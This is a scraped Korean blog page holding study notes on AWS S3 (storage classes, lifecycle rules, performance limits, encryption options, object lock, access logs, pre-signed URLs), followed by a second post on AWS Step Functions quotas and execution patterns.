S3 Glacier Flexible Retrieval 몇 분에서 몇 시간의 검색 시간으로 1년에 한 번 액세스하는 수명이 긴 아카이브 데이터 99.999999999% 99.99%(객체 복원 후) >= 3 90일 NA* GB당 검색 요금이 적용됩니다. 이 객체에 액세스하려면 먼저 보관된 객체를 복원해야 합니다. 자세한 정보는 아카이브된 객체 복원 섹션을 참조하세요.
S3 Glacier Deep Archive 몇 시간의 검색 시간으로 1년에 한 번 미만 액세스하는 수명이 긴 아카이브 데이터 99.999999999% 99.99%(객체 복원 후) >= 3 180일 NA** GB당 검색 요금이 적용됩니다. 이 객체에 액세스하려면 먼저 보관된 객체를 복원해야 합니다. 자세한 정보는 아카이브된 객체 복원 섹션을 참조하세요.

 

S3 Lifecycle Rules

 

  • LifeCycle Rule 을 통해 S3 버킷 스토리지 클래스를 자동으로 전환할 수 있다.
  • 스토리지 클래스를 전환할 뿐만 아니라 유효기간이 만료되어 삭제도 가능하다. (전환 작업, 만료 작업)
  • 버킷 전체나 버킷 내부 특정 Prefix 단위, Tag 단위로 설정이 가능하다.
  • 사용 시 주의사항
    • Standard => Standard-IA => Intelligent-tier => OneZone-IA => Glacier => Deep-Archive 클래스로 순으로 전환이가능하지만 역순은 불가능하다. 사본 생성 후 사본을 옮겨야 한다.
  • 사용 사례
    • 이미지 원본은 60일 이내에 즉시 복구가 가능하고, 썸네일은 쉽게 만들 수 있는데 마찬가지로 60일 정도 보관하고 6시간 이내에 복구해야 한다.
      • => 이미지 원본은 Standard 보관, 60일 이후 Glacier 로 전환, 썸네일 이미지는 OneZone-IA 보관 60일 이후 삭제
    • 드물지만 삭제된 객체는 30일 이내에 즉시 복구가 가능해야 하고, 최대 1년까지는 삭제한 객체를 48시간 내 복구해야 한다.
      • => S3 버저닝 활성화 후, 이전 버전은 Standard-IA 로 전환하고 30일 이후에는 Glacier Deep-Archive 로 전환

S3 Analytics

  • 스토리지 접근 패턴을 분석해 언제 S3 스토리지 객체를 변환해야 하는지 S3 Analytics 서비스를 사용할 수 있다.
  • 오직 Standard 로 부터 Standard-IA 로 보낼 때만 사용 가능하다.
  • 데이터 분석이 가능하도록 보고서 (.csv) 가 24 ~ 48 시간 주기로 매일 업데이트된다.

 

S3 Event

  • S3 EventBridge 로 전달하거나 직접 SNS, SQS, Lambda 로 보낼 수 있다.
  • 직접 보내는 경우, 여러 개의 이벤트 소스로 전달할 수 있다.
  • 직접 보내는 경우 S3 가 행동할 수 있도록 SNS, SQS, Lambda 의 Resource Policy 정책이 허용되어 있어야 한다.

 

S3 Performance

baseline

  • S3 는 아주 많은 수의 요청량을 처리하기 위해 자동으로 스케일링한다. 지연율은 보통 100 ~ 200 ms 정도이다.
  • 버킷의 prefix 당 최대 초당 쓰기 요청(PUT/COPY/POST/DELETE) 횟수은 3,500, 최대 초당 읽기 요청(GET/HEAD) 횟수은 5,500 이다.
  • 버킷의 총 최대 요청 횟수와 버킷 당 prefix 의 개수는 제한이 없으므로 더 많은 요청을 받기 위해서는 요청량이 집중되는 오브젝트 단위를 분석해 prefix 로 분리해야 한다.
  • 사용 사례
    • bucket/1/file => /1/, bucket/2/file => /2/, bucket/3/file => /3/, bucket/4/file => /4/ 라면 최대 22,000 요청량 가능

Multi-Part Upload (분할 업로드)

  • 매우 큰 파일을 업로드 시 전송 속도를 향상하기 위해 파일을 분할하여 병렬 업로드한다.
  • 100MB 이상 파일은 분할 업로드 권장, 5GB 이상 파일은 분할 업로드 필수
  • 사용 사례

S3 Transfer Acceleration

  • 버킷 파일을 AWS 의 엣지 로케이션으로 전송함으로써 접송 속도를 높이는 방식이다.
  • 공용 인터넷을 최소한으로 거치고 사설 AWS 네트워크 라인을 사용하기 때문에 속도가 훨씬 빠르다.
  • Multi-Part Upload 기능과 호환

S3 Byte-Range Fetches

  • 파일의 특정 바이트 일부 범위만 읽기 요청하는 방식이다.
  • 병렬 요청 가능
  • 사용 사례
    • 다운로드 속도 가속화
      • Multi-Part Upload 기능의 반대 전략으로 매우 큰 파일을 분할하여 병렬 다운로드한다. 예를 들어 100 GB 파일을 100 MB 씩 분할해서 10 번 반복 요청한다.
    • 헤더 부분 읽어서 파일 확장자 확인

 

S3 Encryption

Amazon S3에서는 4가지 방법으로 S3 버킷의 객체를 암호화할 수 있다.

  • Server-Side Encryption (SSE)
    • Server-Side Encryption with Amazon S3-Managed Keys (SSE-S3)
      • Amazon S3 관리형 키를 사용하는 서버 측 암호화
    • Server-Side Encryption with KMS Keys stored in AWS KMS (SSE-KMS)
      • AWS KMS 키를 사용하는 서버 측 암호화
    • Server-Side Encryption with Customer-Provided Keys (SSE-C)
      • Client 가 제공하는 키를 사용하는 암호화
      • AWS Console 에서는 확인이 불가능하고, SDK 프로그래밍 방식만 지원 가능
  • Client-Side Encryption
    • Client 에서 직접 암호화 후 전송하고 다운로드 후 복호화하는 방식

SSE-S3

  • 기본 S3 객체 암호화 방식
  • AWS S3 에서 처리, 관리, 및 소유하는 키를 사용하여 암호화
  • AES-256 알고리즘으로 암호화
  • 클라이언트에서 "x-amz-server-side-encryption": "AES256" 로 header 조작 필요

SSE-KMS

  • AWS KMS(Key Management Service) 서비스를 통해 처리되고 관리되는 키를 사용하여 암호화
  • 사용자가 KMS 서비스를 통해 키를 관리할 수 있음
  • CloudTrail 로그를 통해서 키 사용 여부들을 감사 가능
  • 클라이언트에서 "x-amz-server-side-encryption": "aws:kms" 로 header 조작 필요
  • 사용 시 주의사항
    • 업로드 시 GenerateDataKey KMS API 를 호출하고, 다운로드 시에는 Decrypt KMS API 를 호출하는데 이 API 가 초당 할당량 제한이 있음. 지역에 따라 다르지만 5,500, 10,000, 30,000 req/s.
    •  쓰로틀링 방지를 위해, 서비스 할당량 콘솔을 통해 초당 할당량을 높인다.

SSE-C

  • Client 가 키를 생성해서 AWS 에 전송하고 서버 측에서 암호화 (Client 가 직접 키 관리)
  • HTTPS 에서만 가능
  • AWS 에서 키를 관리하지 않으므로 HTTPS 요청마다 암호화 키를 HTTP 헤더에 제공해야 함

Client-Side Encryption

  • AWS 에서 키 생성, 관리 및 암복호화 하지 않고 클라이언트 측에서 모두 수행하는 방식
  • Amazon S3 Client-Side Encryption Library 와 같은 클라이언트 라이브러리 사용
  • 클라이언트가 데이터를 S3 에 업로드하기 전에 암호화하고, 다운로드 후 복호화한다.

S3 전송 암호화 (SSL/TLS)

  • S3 는 두 가지 방식의 엔드포인트를 제공
    • HTTP 엔드포인트 (암호화하지 않음)
    • HTTPS 엔드포인트 (전송 중 암호화)
      • SSL 또는 TLS 방식으로 암호화
  • HTTPS 를 권장
  • 대부분의 클라이언트는 기본적으로 HTTPS 엔드포인트를 사용

S3 암호화 강제

  • S3 버킷 정책을 사용하여 전송 중 암호화를 강제하거나, 오브젝트 업로드 시 특정 암호화 방식으로 강제할 수 있음
  • 전송 중 암호화 강제
    • Effect => Deny
    • Condition => (Bool) aws:SecureTransport: false
  • S3 객체 업로드 시 암호화 헤더 없는 경우 거부
    • Effect => Deny
    • Condition => (StringNotEquals) s3:x-amz-server-side-encryption: aws:kms
    • Condition => (Null) s3:x-amz-server-side-encryption-customer-algorithm: true
  • 사용 사례
    • 왼쪽 정책은 SSE-KMS 방식 아니면 거부. 오른쪽 정책은 SSE-C 방식 아니면 거부.
  • 아니면 기본 암호화 방식을 채택할 수 있다.
  • 해당 버킷 정책은 항상 기본 암호화 전에 평가된다.

 

S3 Access Points

  • S3 에 접근하는 사용자나 그룹이 많아지고 S3 에 저장하는 데이터의 유형이 많아짐에 따라 Bucket Policy 에 모든 접근 권한을 설정하기가 복잡해졌다.
  • S3 버킷 Prefix 별로 사용자나 그룹의 접근 권한 설정을 한다.
  • 접근할 수 있는 포인트인 DNS Name 과 Access Point Policy 를 가지고 있다.
  • 사용 시 주의사항
    • VPC 내부에서만 접근하도록 설정하려면
      • VPC Endpoint(Interface 나 Gateway) 무조건 생성 필요
      • VPC Endpoint Policy 에서 S3 Access Point 와 S3 Bucket 둘 다 allow 정책 허용 필요

 

S3 Object Lambda

 

S3 CORS

  • 웹 브라우저에서 다른 Origin 에 대한 요청으로 인한 공격을 방지하고자 SOP(Same Origin Policy) 정책을 도입함
    • Origin은 scheme (protocol) + host (domain) + port 로 Same Origin 은 프로토콜, 도메인, 포트 번호가 같아야 함
  • 하지만 웹 사이트들이 다른 도메인 영역에 웹 자원을 로드하고 서비스하고 있는 경우가 많아 특정 Origin 만 접근이 가능하도록 설정이 필요했다. CORS(Cross-Origin Resourse Sharing) 이라는 기능이다.
  • 현재 웹 사이트를 방문하면서 다른 Origin 의 자원을 사용해야 하는 경우, 다른 Origin 서버에서 허용 응답을 보내주어야 한다.
    • 정확히는 응답 헤더로 Access-Control-Allow-Origin, Access-Control-Allow-Methods 등 CORS 헤더를 보내주어야 한다.
  • 마찬가지로 S3 에서도 CORS 헤더를 설정함으로써 특정 출처와 메서드들을 허용할 수 있다.

 

S3 Delete 방지

MFA 사용

  • 사용자가 중요한 S3 작업을 수행하기 전에 MFA (Multi-Factor Authentication) 다중 인증을 추가로 요구할 수 있다.
  • 버전 관리 활성화 필수
  • MFA Delete 기능을 활성화 / 비활성화 할 수 있는 권한은 버킷 소유자만 가능
  • MFA가 필요한 작업은 다음과 같다.
    • 객체 버전을 영구적으로 삭제
    • 버킷에서 버전 관리를 중단할 때

S3 Object Lock

  • WORM (Write Once Read Many) 모델로 지정된 기간 동안 특정 객체 버전을 삭제하는 것을 방지한다.
  • 버저닝 기능이 무조건 활성화 되어 있어야 함
  • 버킷 내의 모든 객체에 각각 적용 가능
  • 보관 모드
  • ( * 법적 보관은 보관모드는 아니나, 비교를 위해 같이 정리하였다 )
  Compliance (규정준수) Governance (거버넌스) Legal Hold (법적 보관)
삭제 가능 불가능 (루트 사용자 포함) 삭제 권한이 있는 일부 사용자만 가능 s3:PutObjectLegalHold IAM 권한 필요
보존 기간 보존 기간 설정 후 조작 불가능 보존 기간 설정 후 변경 가능 무기한
모드 변경 불가능 가능 가능

 

S3 Access Logs

  • 감사 목적으로 S3 버킷의 모든 액세스를 로깅할 수 있다.
  • 승인 또는 거부 여부와 상관없이 모든 계정에서 S3에 대한 요청이 로그로 남는다.
  • 로깅 대상 버킷은 동일한 AWS 리전에 있어야 한다.
  • Amazon S3 서버 액세스 로그 형식: https://docs.aws.amazon.com/ko_kr/AmazonS3/latest/userguide/LogFormat.html
  • 사용 시 주의사항
    • 로깅 버킷을 모니터링하는 버킷과 동일하게 설정하면 무한 루프 발생

 

Pre-Signed URLs

  • 접근 권한 인증을 마쳤는데도 불구하고 다른 AWS 서비스 제한 때문에 S3 에 도달하지 못 할 수 있다.
  • 접근 권한에 대한 인증을 마치면 직접 S3 에 접근할 수 있는 URL 을 발급해준다.
  • URL 만료 기한
    • S3 Console 은 1분부터 720분(12시간)까지 설정 가능
    • AWS CLI 는 --expires-in 매개변수로 만료 시간을 지정할 수 있으며, 초 단위로 설정 가능 (기본값은 3600초, 최대 604800초(168시간))
  • 미리 서명된 URL을 받은 사용자는 GET / PUT에 대한 권한을 URL을 생성한 사용자로부터 상속받음.
  • 사용 사례
    • 로그인한 사용자만 S3 버킷에서 프리미엄 비디오를 다운로드할 수 있도록 허용
    • URL을 동적으로 생성하여 계속 변경되는 사용자 목록이 파일을 다운로드할 수 있도록 허용
    • 일시적으로 사용자가 S3 버킷의 특정 위치에 파일을 업로드할 수 있도록 허용
반응형

'인프라 > AWS' 카테고리의 다른 글

AWS SCS-02  (0) 2025.01.27
AWS EBS & EFS  (0) 2024.09.03
AWS Step Functions  (0) 2024.08.20
AWS Service Catalog  (0) 2024.08.19
Amazon EKS 역할 / 네트워크 / 볼륨 / 모니터링  (0) 2024.07.20
반응형

Step Functions

 

AWS 의 마이크로서비스 워크플로우 구현을 위한 오케스트레이션 서비스

Lambda 와 같은 서버리스 서비스들을 조합하여 구현

 

Step Functions 특징

  • AWS 의 다른 서비스들과 네이티브하게 연계 통합 가능
  • 비즈니스 로직 중심 워크플로우 설계 가능 (관리형 서비스(내결함성, 안정성, 확장성, 고가용성))
    • 빌트인 된 try-catch-finally 패턴을 통해 타임아웃, 재시도, 에러메세지 관리가 가능하여 장애 대응에 원할
    • 모니터링 후, 요청량에 따른 자동 스케일링 가능
  • 다양한 상태를 활용하여 워크플로우를 정의하기 쉬움

Step Functions 구조

Action 과 Flow 컴포넌트로 구성되어 있음

  • Action
    • 다른 AWS 서비스를 활용하여 작업을 수행
    • 예 : 람다 함수 호출, SNS Publish, AWS Fargate 서비스 호출
  • Flow
    • task 들의 제어 흐름을 정의하는 7가지 상태
    • 분기 choice, 반복 map, 동시 실행 parallel, 디버깅 path, 타이머 wait, 성공 success, 실패 fail

Step Functions 구축

Step Functions 는 특성 상 비지니스 로직과 밀접하게 연결되어 있어 인프라와 애플리케이션을 디커플링하여 개발하면 새로운 개발 요청이 들어왔을 때 인프라와 코드를 둘 다 수정해야 되는 단점이 있음.

 

따라서, 인프라와 애플리케이션을 커플링하여 서비스 변경에 더 민첩하게 반응할 수 있는 애플리케이션 특수적 인프라를 활용하는 추세임.

 

Step Functions 한계점

Step Functions 는 별도의 요청으로 상한을 올릴 수 있는 소프트 할당량과 상한을 올릴 수 없는 하드 할당량이 있다.

소프트 할당량은 유연하게 대처가 가능하므로 하드 할당량에 대해서 알아본다.

  • 페이로드의 최대 크기 (256 KB)

페이로드는 오직 실행이나 컨텍스트 관리에 필수적인 데이터만 포함하여 핸들링하는 것이 바람직하다.

이외 데이터들은 다른 서비스나 서버에 저장 후 로드한다.

  • 실행 기록의 최대 이벤트 개수 (25,000 개)

상태머신을 활용할 경우, Step Functions 는 해당 실행에 대한 모든 이벤트를 기록하기 시작한다.

각 상태마다 2 ~ 5 개 정도의 이벤트가 발생한다. 예를 들어 람다 호출의 경우, 람다 예약 => 람다 시작 => 람다 성공 순으로 이벤트가 기록된다.

 

이베트 개수를 줄이는 방법이 있을 수 있다. 하지만 권장하지 않는다.

예를 들어, 여러 개의 Lambda 함수를 활용하여 병렬처리하는 구조의 애플리케이션을 Lambda 함수 하나로 포팅한다면 이벤트의 개수는 줄일 수 있지만, 병렬 처리로 얻는 속도, 효율 등의 장점들을 모두 포기해야 한다.

 

Lambda 함수를 통해 상태머신을 재실행하는 방법을 AWS 에서 권장하고 있다.

 

1 . (plan) StateMachine 시작 전 작업 크기를 계산하고, 현재 실행 정보를 담고 있는 컨텍스트 정보를 생성한다.

  • 총 처리해야 하는 개수
  • 현재 처리 개수
  • 커서

2 . (fetch, apply) 병렬 작업자들에게 할당할 작업들을 생성하고 반복 처리한다.

  • 최대 동시성(동시 실행 가능한 작업자의 최댓값)을 고려하여 전체 작업을 처리 가능한 크기의 작업으로 분할한다.
  • 반복 실행을 통해 순차 처리한다. 아래 3, 4 단계를 참고한다.

3 . (aggregate) apply 결과 값들을 취합한다.

4 . 더 이상 작업이 없다면 Finish, 아직 작업이 있고 최대 반복 횟수 도달했다면 ExecuteNew, 최대 반복 횟수 미달했다면 다시 fetch 실행

4 - 1 . ExecuteNew 로 실행했다면 현재 실행의 Context 정보도 같이 전달하여 plan 재실행

 

Active Worker 패턴

AWS 서비스 이외에 다른 서비스(온 프레미스 서비스, 써드 파티 SDK, 다른 클라우드 서비스) 처리 시 지연시간으로 인해

비동기적인 처리가 필요할 수도 있다. 만약 Lambda 로 구현한다면 지속적으로 폴링해야 할 수도 있다. 불필요한 시간을 소요할 수 있으며 결국 Lambda 의 최대 실행 시간인 15분을 넘길 수 있다.

 

외부 서비스와 통합하기 위해 Activity 를 사용하는 것을 권고한다. 상태머신의 진행을 비동기적으로 바꿀 수 있다.

 

 

그런데 아래 공식 문서는 코드 분리 측면으로 봐야되고, 위 병렬 실행 TIP 과는 다른 컨셉으로 봐야 될 것 같다.

https://docs.aws.amazon.com/ko_kr/step-functions/latest/dg/tutorial-use-sfn-api-cont-exec.html

 

참고

https://www.youtube.com/watch?v=EZrL7p7Qlp4

 

 

 

반응형

'인프라 > AWS' 카테고리의 다른 글

AWS SCS-02  (0) 2025.01.27
AWS EBS & EFS  (0) 2024.09.03
AWS S3 정리  (6) 2024.09.01
AWS Service Catalog  (0) 2024.08.19
Amazon EKS 역할 / 네트워크 / 볼륨 / 모니터링  (0) 2024.07.20

+ Recent posts